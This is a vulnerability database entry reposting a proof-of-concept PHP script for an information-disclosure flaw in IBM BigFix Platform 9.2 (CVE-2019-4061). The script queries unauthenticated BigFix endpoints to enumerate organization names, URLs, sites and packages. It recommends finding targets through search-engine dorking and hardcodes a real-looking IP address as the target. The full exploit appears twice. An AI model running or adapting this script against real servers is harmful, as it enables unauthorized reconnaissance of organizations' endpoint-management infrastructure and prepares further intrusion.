5.3
/ 10
MEDIUM
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Description
IBM BigFix Platform version 9.2 information gathering proof of concept exploit...
Basic Information
ID
PACKETSTORM:212926
Published
Dec 17, 2025 at 00:00
Affected Product
Affected Versions
=============================================================================================================================================
| # Title : IBM BigFix Platform 9.2 gather information Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 135.0.1 (64 bits) |
| # Vendor : https://bigfix.com/ |
=============================================================================================================================================
POC :
[+] Dorking Δ°n Google Or Other Search Enggine.
[+] Code Description: The code explores the IBM BigFix server via HTTP queries using cURL.
(linked: https://packetstorm.news/files/id/180698/ Linked CVE numbers: CVE-2019-4061),
[+] save code as poc.php.
[+] Set Target : line 68
[+] USage : php poc.php
[+] PayLoad :
<?php
class IBM_BigFix_Enum
{
private $targetUri;
private $port;
private $ssl;
public function __construct($targetUri, $port = 52311, $ssl = true)
{
$this->targetUri = rtrim($targetUri, '/');
$this->port = $port;
$this->ssl = $ssl;
}
private function sendRequest($uri)
{
$url = ($this->ssl ? 'https://' : 'http://') . $this->targetUri . ":$this->port" . '/' . ltrim($uri, '/');
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);
return $response;
}
public function getMasthead()
{
$response = $this->sendRequest('masthead/masthead.axfm');
if ($response && preg_match('/Organization: (.*)./', $response, $matches)) {
echo "Organization: " . htmlspecialchars($matches[1]) . "\n";
}
if ($response && preg_match_all('/URL: (.*)./', $response, $matches)) {
foreach ($matches[1] as $url) {
echo "URL: " . htmlspecialchars($url) . "\n";
}
}
}
public function getSites()
{
$response = $this->sendRequest('cgi-bin/bfenterprise/clientregister.exe?RequestType=FetchCommands');
if ($response && preg_match_all('/: ([^ ]+)/', $response, $matches)) {
echo "Sites:\n";
foreach ($matches[1] as $site) {
echo "- " . htmlspecialchars($site) . "\n";
}
}
}
public function getPackages()
{
$response = $this->sendRequest('cgi-bin/bfenterprise/BESMirrorRequest.exe');
if (!$response) {
return;
}
echo "Packages:\n";
if (preg_match_all('/url: (.*)/', $response, $matches)) {
foreach ($matches[1] as $url) {
echo "- " . htmlspecialchars($url) . "\n";
}
}
}
}
// ΨͺΩΩΩΨ° Ψ§ΩΩΩΨ―
$bigFix = new IBM_BigFix_Enum('153.143.185.78');
$bigFix->getMasthead();
$bigFix->getSites();
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================
| # Title : IBM BigFix Platform 9.2 gather information Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 135.0.1 (64 bits) |
| # Vendor : https://bigfix.com/ |
=============================================================================================================================================
POC :
[+] Dorking Δ°n Google Or Other Search Enggine.
[+] Code Description: The code explores the IBM BigFix server via HTTP queries using cURL.
(linked: https://packetstorm.news/files/id/180698/ Linked CVE numbers: CVE-2019-4061),
[+] save code as poc.php.
[+] Set Target : line 68
[+] USage : php poc.php
[+] PayLoad :
<?php
class IBM_BigFix_Enum
{
private $targetUri;
private $port;
private $ssl;
public function __construct($targetUri, $port = 52311, $ssl = true)
{
$this->targetUri = rtrim($targetUri, '/');
$this->port = $port;
$this->ssl = $ssl;
}
private function sendRequest($uri)
{
$url = ($this->ssl ? 'https://' : 'http://') . $this->targetUri . ":$this->port" . '/' . ltrim($uri, '/');
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);
return $response;
}
public function getMasthead()
{
$response = $this->sendRequest('masthead/masthead.axfm');
if ($response && preg_match('/Organization: (.*)./', $response, $matches)) {
echo "Organization: " . htmlspecialchars($matches[1]) . "\n";
}
if ($response && preg_match_all('/URL: (.*)./', $response, $matches)) {
foreach ($matches[1] as $url) {
echo "URL: " . htmlspecialchars($url) . "\n";
}
}
}
public function getSites()
{
$response = $this->sendRequest('cgi-bin/bfenterprise/clientregister.exe?RequestType=FetchCommands');
if ($response && preg_match_all('/: ([^ ]+)/', $response, $matches)) {
echo "Sites:\n";
foreach ($matches[1] as $site) {
echo "- " . htmlspecialchars($site) . "\n";
}
}
}
public function getPackages()
{
$response = $this->sendRequest('cgi-bin/bfenterprise/BESMirrorRequest.exe');
if (!$response) {
return;
}
echo "Packages:\n";
if (preg_match_all('/url: (.*)/', $response, $matches)) {
foreach ($matches[1] as $url) {
echo "- " . htmlspecialchars($url) . "\n";
}
}
}
}
// ΨͺΩΩΩΨ° Ψ§ΩΩΩΨ―
$bigFix = new IBM_BigFix_Enum('153.143.185.78');
$bigFix->getMasthead();
$bigFix->getSites();
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================